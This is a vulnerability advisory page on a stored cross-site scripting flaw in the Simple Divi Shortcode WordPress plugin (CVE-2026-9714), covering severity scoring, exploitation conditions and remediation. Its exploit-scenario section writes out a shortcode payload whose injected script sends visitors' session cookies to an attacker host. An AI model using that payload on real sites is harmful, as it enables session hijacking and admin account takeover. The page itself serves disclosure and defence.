Skip to main content

Simple Divi Shortcode CVE-2026-9714

| EUVDEUVD-2026-33252 MEDIUM
Cross-site Scripting (XSS) (CWE-79)
2026-05-29 Wordfence GHSA-f3vv-fhm6-p4jh
6.4
CVSS 3.1 · Vendor: Wordfence
View

Attack ChainAIDerived

Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain

  1. Access
    Obtain contributor-level WordPress account
  2. Delivery
    Insert [showmodule] shortcode with crafted 'id' payload
  3. Exploit
    Payload stored in WordPress database
  4. Execution
    Victim (admin or user) visits injected page
  5. Persist
    Browser renders unsanitized output, executing injected script
  6. Impact
    Steal session cookie or perform actions as victim

Vulnerability Assessment

Weakness
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Output encoding, context-aware escaping
MITRE ATT&CK

2 techniques across 2 tactics: Initial Access, Execution

The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up.

Exploitation Conditions

Exploitation requires the attacker to hold a WordPress contributor role (or higher) on the target site - this is the minimum capability needed to insert shortcodes into post content, as confirmed by CVSS PR:L (Low Privileges Required). The Simple Divi Shortcode plugin must be installed and active on the WordPress site, and the target must be running version 1.2 or earlier. The [showmodule] shortcode must be used (or an attacker must be able to insert it) within a post or page that is subsequently viewed by other users. Exploitation is limited to sites with multi-author configurations where untrusted users hold contributor access; single-author sites where only trusted administrators publish content face negligible real-world risk. The attacker does not need to trick the victim into any specific interaction beyond visiting the injected page (CVSS UI:N from the attacker's perspective), but a victim must visit the page for the XSS payload to execute.

Impact

The CVSS 3.1 score of 6.4 reflects a realistic assessment of this vulnerability's impact profile. The vector AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N indicates network-reachable exploitation with low complexity, requiring low-privilege authentication (contributor role), with no further user interaction needed by the attacker once the payload is injected. The Changed Scope (S:C) accounts for the cross-context impact: a contributor-level attacker operating within their own post context can affect sessions of higher-privileged users (editors, admins) who view the injected page, potentially enabling privilege escalation through admin session hijacking. No EPSS score was provided in the source data, limiting probabilistic exploitation forecasting. The absence of CISA KEV listing and no identified public exploit code suggests this is not currently being mass-exploited. However, the low attack complexity and the relatively common contributor role in multi-author WordPress sites make this a meaningful risk for sites where untrusted users can publish or draft content. The primary real-world risk is WordPress admin account takeover via injected payload executing in an administrator's browser session.

Exploit ScenarioDerived

An attacker registers or obtains a contributor-level WordPress account on a target site running Simple Divi Shortcode 1.2 or earlier, then creates or edits a post containing [showmodule id='malicious"><script>document.location="https://attacker.com/steal?c="+document.cookie</script>'] and submits it for publication. When an administrator reviews or approves the post - or any user visits the published page - the unsanitized 'id' value breaks out of the HTML attribute context and the injected script executes, transmitting the victim's session cookie to the attacker and enabling account takeover. No public exploit code has been identified at time of analysis, but the vulnerability is trivially reproducible from the description alone.

This Month Plan within 30 days. Why: MEDIUM severity (CVSS 4.0-6.9).
No patch listed yet 0.0% exploitation probability (EPSS)

Get an e-mail when this CVE is exploited, patched or re-scored. Free account.

Alert me

AnalysisAIv1 – May 29, 2026

Stored Cross-Site Scripting in the Simple Divi Shortcode WordPress plugin (versions up to and including 1.2) allows authenticated attackers with contributor-level access to permanently embed arbitrary JavaScript into WordPress pages via the unsanitized 'id' parameter of the [showmodule] shortcode. The injected payload executes in the browser of any user who subsequently visits the affected page, enabling session hijacking, credential theft, or malicious redirects within the victim's authenticated session context. No public exploit code has been identified at time of analysis, and this vulnerability is not listed in the CISA KEV catalog.

RemediationAI

Upstream fix available via a Trac changeset from version 1.2 to 1.2.1 (https://plugins.trac.wordpress.org/changeset?old_path=%2Fsimple-divi-shortcode/tags/1.2&new_path=%2Fsimple-divi-shortcode/tags/1.2.1); a released patched version is referenced but not independently confirmed as pushed to the WordPress plugin repository - administrators should verify version 1.2.1 is available in the WordPress Plugin Directory and update immediately. If the update is not yet available in the plugin directory, a compensating control is to remove contributor-level posting capability from untrusted user roles using a capability manager plugin (e.g., Members or User Role Editor), preventing untrusted users from inserting shortcodes into posts - note this trade-off restricts legitimate contributor functionality. Alternatively, disable or remove the Simple Divi Shortcode plugin entirely if it is not essential to site operation. WordPress site administrators should also audit existing posts and pages for presence of [showmodule] shortcodes with suspicious 'id' parameter values to identify any prior injection attempts.

Affected VersionsENISA

Simple Divi Shortcode 0 ≤1.2

Affected Packages

euvd simple_divi_shortcode no fix

Source: OSV (Open Source Vulnerabilities)

Affects your stack

Affects 1 package in euvd

Checking this CVE against your own stacks and servers is part of the Basic plan and up.

Technical ContextAI · show details

The vulnerability exists in the showmodule_shortcode() function within simple_divi_shortcode.php (line 62-63), developed by vendor creaweb2b (CPE: cpe:2.3:a:creaweb2b:simple_divi_shortcode:*:*:*:*:*:*:*:*). The function accepts shortcode attributes and concatenates the 'id' parameter directly into a dynamically constructed shortcode string without applying WordPress's esc_attr() sanitization function or any output escaping. This is a textbook CWE-79 (Improper Neutralization of Input During Web Page Generation) flaw: the absence of escaping allows an attacker to break out of the HTML attribute context using characters such as quotes, angle brackets, or event handler syntax. Because WordPress shortcodes are processed server-side and their rendered output is stored in post content, the malicious script is persisted in the database and served to every subsequent visitor - classifying this as stored (persistent) XSS rather than reflected.

Know when Simple Divi Shortcode gets its next vulnerability

  • Watch products and get an email when something new is published
  • Check this CVE against your own stack and servers
  • Exploit and PoC references, threat intelligence from 22 sources

No credit card · 7-day full trial

Severity by source

Vendor (Wordfence) PRIMARY 6.4 MEDIUM
AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N

Primary rating from Vendor (Wordfence) · only source for this CVE.

CVSS VectorVendor: Wordfence

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Confidentiality
Low
Integrity
Low
Availability
None

DescriptionCVE.org

The Simple Divi Shortcode plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'id' parameter of the [showmodule] shortcode in versions up to, and including, 1.2 This is due to insufficient input sanitization and output escaping in the showmodule_shortcode() function, which concatenates the 'id' shortcode attribute directly into a dynamically constructed shortcode string without applying esc_attr() or any escaping, allowing an attacker to break out of the attribute context and inject arbitrary HTML. This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

Threat Intelligence Overview

EPSS Score
0.0%
Top 91% exploitable
Social Media
1
Sightings
Data Quality
6 sources
Confidence: High

How this decision was reached

The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.

SignalValue
Severity MEDIUM
CISA KEV No
Public POC No
EPSS 0.0%
Patch available No
Active threat No
Deciding rule
MEDIUM severity (CVSS 4.0-6.9)
What every action level means
Emergency Immediate action required. Criteria: CRITICAL + in CISA KEV (actively exploited) without patch, OR CRITICAL + EPSS > 30% without patch, OR CRITICAL + active threat signals without patch.
Act Now Prioritize within 24-48h. Criteria: in KEV with patch available, OR CRITICAL + public POC, OR HIGH + EPSS > 10%, OR CRITICAL + active threat, OR any CRITICAL severity.
This Week Schedule remediation this week. Criteria: HIGH severity (CVSS 7.0-8.9). Patch within normal change window.
This Month Plan within 30 days. Criteria: MEDIUM severity (CVSS 4.0-6.9), lower exploitation probability. Include in regular patch cycle.
Monitor Track and reassess. Criteria: LOW severity (CVSS 0.1-3.9), minimal exploitation risk. No immediate action needed.

SSVC AssessmentENISA

SSVC Decision· derived
Scheduled
Exploitation
None
System Exposure· derived
Open
Automatable
No
Human Impact· derived
Medium
Technical Impact
Partial

Priority Score

32
Low Medium High Critical
KEV: 0
EPSS: 0
CVSS: +32
PoC: 0
Weaponized: 0
Threat intel: 0
Gov advisory: 0

Attack Technique

Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy